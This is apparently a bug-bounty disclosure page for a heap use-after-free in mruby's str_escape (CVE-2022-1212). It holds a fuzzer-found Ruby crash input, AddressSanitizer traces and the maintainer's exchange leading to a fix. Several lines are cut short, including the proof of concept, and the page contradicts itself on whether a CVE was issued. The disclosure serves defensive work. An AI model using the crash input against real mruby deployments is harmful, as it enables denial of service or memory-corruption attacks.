Use-After-Free in str_escape in mruby/mruby in mruby/mruby

0

Valid Reported on Mar 30th 2022

Affected commit:

60cf382ff9765e36b21143d79688a3e758b66fd4

Proof of Concept

```
v11 = '11111111111111111111111111111'
v17 = {1=>1, 2 => 'b' , '3' => 1}
v20 = []
[1,2,3,4,5,6,7,8,9,10,11,12,13,14].find_all() do [1,2,3,4,5,6,7,8,9,10,11,1
"".chop() do  end
break v11*v0 = 1
} end end
```

Below is the output from mruby ASAN build:

```
=================================================================
==19540==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300006
READ of size 1 at 0x603000005a70 thread T0
    #0 0x55dcacccdfad in str_escape /home/fuzz/mruby/src/string.c:1238
    #1 0x55dcaccd7b81 in mrb_str_inspect /home/fuzz/mruby/src/string.c:2658
    #2 0x55dcacc78b19 in mrb_vm_exec /home/fuzz/mruby/src/vm.c:1640
    #3 0x55dcacc6a512 in mrb_vm_run /home/fuzz/mruby/src/vm.c:1131
    #4 0x55dcaccb442b in mrb_top_run /home/fuzz/mruby/src/vm.c:3047
    #5 0x55dcacd26b2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:
    #6 0x55dcacd26e42 in mrb_load_detect_file_cxt mrbgems/m
    #7 0x55dcacc35128 in main /home/fuzz/mruby/mrbgems/mruby
    #8 0x7fc0eb414c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6
```

```
    #9 0x55dcacc32339 in _start (/home/fuzz/mruby/bin/mruby+0xc2339)

0x603000005a70 is located 0 bytes inside of 29-byte region [0x603000005a70,

freed by thread T0 here:
    #0 0x7fc0ebc607a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/liba
    #1 0x55dcacc5fa39 in mrb_default_allocf /home/fuzz/mruby/src/state.c:64
    #2 0x55dcacce04bf in mrb_free /home/fuzz/mruby/src/gc.c:288
    #3 0x55dcaccc8e67 in mrb_gc_free_str /home/fuzz/mruby/src/string.c:236
    #4 0x55dcacce38ff in obj_free /home/fuzz/mruby/src/gc.c:862
    #5 0x55dcacce4f2d in incremental_sweep_phase /home/fuzz/mruby/src/gc.c:
    #6 0x55dcacce556a in incremental_gc /home/fuzz/mruby/src/gc.c:1208
    #7 0x55dcacce55ed in incremental_gc_until /home/fuzz/mruby/src/gc.c:122
    #8 0x55dcacce5a64 in mrb_incremental_gc /home/fuzz/mruby/src/gc.c:1275
    #9 0x55dcacce1df5 in mrb_obj_alloc /home/fuzz/mruby/src/gc.c:569
    #10 0x55dcacc692a6 in break_new /home/fuzz/mruby/src/vm.c:924
    #11 0x55dcacc82791 in mrb_vm_exec /home/fuzz/mruby/src/vm.c:2275
    #12 0x55dcacc6a512 in mrb_vm_run /home/fuzz/mruby/src/vm.c:1131
    #13 0x55dcaccb4219 in mrb_run /home/fuzz/mruby/src/vm.c:3034
    #14 0x55dcacc68bc9 in mrb_yield_with_class /home/fuzz/mruby/src/vm.c:87
    #15 0x55dcacc4622e in mrb_class_initialize /home/fuzz/mruby/src/class.c
    #16 0x55dcacc78b19 in mrb_vm_exec /home/fuzz/mruby/src/vm.c:1640
    #17 0x55dcacc6a512 in mrb_vm_run /home/fuzz/mruby/src/vm.c:1131
    #18 0x55dcaccb442b in mrb_top_run /home/fuzz/mruby/src/vm.c:3047
    #19 0x55dcacd26b2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y
    #20 0x55dcacd26e42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/c
    #21 0x55dcacc35128 in main /home/fuzz/mruby/mrbgems/mruby-bin-mruby/too
    #22 0x7fc0eb414c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

previously allocated by thread T0 here:
    #0 0x7fc0ebc60f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x
    #1 0x55dcacc5fa53 in mrb_default_allocf /home/fuzz/mruby/src/state.c:68
    #2 0x55dcacce01b0 in mrb_realloc_simple /home/fuzz/mruby/src/gc.c:226
    #3 0x55dcacce02aa in mrb_realloc /home/fuzz/mruby/src/gc.c:240
    #4 0x55dcacce0393 in mrb_malloc /home/fuzz/mruby/src/gc.c:256
    #5 0x55dcaccc79c8 in str_init_normal_capa /home/fuzz/mruby/src/string.c
    #6 0x55dcaccc7b58 in str_init_normal /home/fuzz/mruby/src/string.c:47
    #7 0x55dcaccc849c in str_new /home/fuzz/mruby/src/string.c:126
    #8 0x55dcacccb9e4 in mrb_str_times /home/fuzz/mruby/src/string.c:806
    #9 0x55dcacc78b19 in mrb_vm_exec /home/fuzz/mruby/src/vm.c:1640
    #10 0x55dcacc6a512 in mrb_vm_run /home/fuzz/mruby/src/vm.c:1131
    #11 0x55dcaccb4219 in mrb_run /home/fuzz/mruby/src/vm.c:3034
```

```
    #11 0x55dcaccb4219 in mrb_run /home/fuzz/mruby/src/vm.c:3034
    #12 0x55dcacc68bc9 in mrb_yield_with_class /home/fuzz/mruby/src/vm.c:87
    #13 0x55dcacc4622e in mrb_class_initialize /home/fuzz/mruby/src/class.c

    #14 0x55dcacc78b19 in mrb_vm_exec /home/fuzz/mruby/src/vm.c:1640
    #15 0x55dcacc6a512 in mrb_vm_run /home/fuzz/mruby/src/vm.c:1131
    #16 0x55dcaccb442b in mrb_top_run /home/fuzz/mruby/src/vm.c:3047
    #17 0x55dcacd26b2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y
    #18 0x55dcacd26e42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/c
    #19 0x55dcacc35128 in main /home/fuzz/mruby/mrbgems/mruby-bin-mruby/too
    #20 0x7fc0eb414c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzz/mruby/src/string.
Shadow bytes around the buggy address:
  0x0c067fff8af0: 00 05 fa fa fd fd fd fa fa fa 00 00 00 05 fa fa
  0x0c067fff8b00: fd fd fd fa fa fa 00 00 00 05 fa fa fd fd fd fa
  0x0c067fff8b10: fa fa 00 00 00 05 fa fa fd fd fd fa fa fa 00 00
  0x0c067fff8b20: 00 05 fa fa fd fd fd fa fa fa 00 00 00 05 fa fa
  0x0c067fff8b30: fd fd fd fa fa fa 00 00 00 05 fa fa fd fd fd fa
=>0x0c067fff8b40: fa fa 00 00 00 05 fa fa fd fd fd fa fa fa[fd]fd
  0x0c067fff8b50: fd fd fa fa fd fd fd fa fa fa 00 00 00 05 fa fa
  0x0c067fff8b60: 00 00 00 fa fa fa 00 00 00 05 fa fa 00 00 00 fa
  0x0c067fff8b70: fa fa 00 00 00 05 fa fa 00 00 00 fa fa fa 00 00
  0x0c067fff8b80: 00 fa fa fa fd fd fd fd fa fa 00 00 00 00 fa fa
  0x0c067fff8b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
```

```
  ASan internal:           fe
  Left alloca redzone:     ca

  Right alloca redzone:    cb
==19540==ABORTING
```

Test Platform:

Ubuntu 18.04

Acknowledgements

This bug was found by Ken Wong(@wwkenwong) and Ming Chan(@mjcpwns) from Black Bauhinia(@blackb6a).

Impact

Possible arbitrary code execution if being exploited.

CVE
CVE-2022-1212
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
Critical (9.3)

Registry
Other

Affected Version
60cf382ff9765e36b21143d79688a3e758b66fd4

Visibility
Public

Status
Fixed

Found by
wwkenwong

wwkenwong

@wwkenwong

unranked

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 916 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 8 months ago

Yukihiro 8 months ago Maintainer

I couldn't reproduce the code. I executed the poc script under the debugger, it did not call `str_escape` so there should be something wrong in the poc code.

wwkenwong 8 months ago Researcher

I compiled with gcc-7 asan build

```
fuzzer@instance-2:~/mruby/bin$ echo -ne "djExID0gJzExMTExMTExMTExMTExMTExMTExMTExMTExM
fuzzer@instance-2:~/mruby/bin$ ./mruby repo.rb
=================================================================
==12400==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000005a70 at pc
READ of size 1 at 0x603000005a70 thread T0
    #0 0x562ff88f6fad in str_escape /home/fuzzer/mruby/src/string.c:1238
    #1 0x562ff8900b81 in mrb_str_inspect /home/fuzzer/mruby/src/string.c:2658
    #2 0x562ff88a1b19 in mrb_vm_exec /home/fuzzer/mruby/src/vm.c:1640
    #3 0x562ff8893512 in mrb_vm_run /home/fuzzer/mruby/src/vm.c:1131
    #4 0x562ff88dd42b in mrb_top_run /home/fuzzer/mruby/src/vm.c:3047
    #5 0x562ff894fb2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6890
    #6 0x562ff894fe42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:
    #7 0x562ff885e128 in main /home/fuzzer/mruby/mrbgems/mruby-bin-m
    #8 0x7ff76a5d8c86 in __libc_start_main (/lib/x86_64-linux-gnu/li
    #9 0x562ff885b339 in _start (/home/fuzzer/mruby/bin/mruby+0xc2339)
```

wwkenwong 8 months ago Researcher

I compiled the asan build with the following command

```
LDFLAGS="-fsanitize=address" CFLAGS="-fsanitize=address -g" make
```

And I am able to reproduce it on two environment (ubuntu 18.04 and 20.04)

We have sent a follow up to the **mruby** team. We will try again in 7 days. 8 months ago

Yukihiro 8 months ago Maintainer

Thank you for the info! I can reproduce the issue now. I will fix soon.

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

wwkenwong has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **3cf291** 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation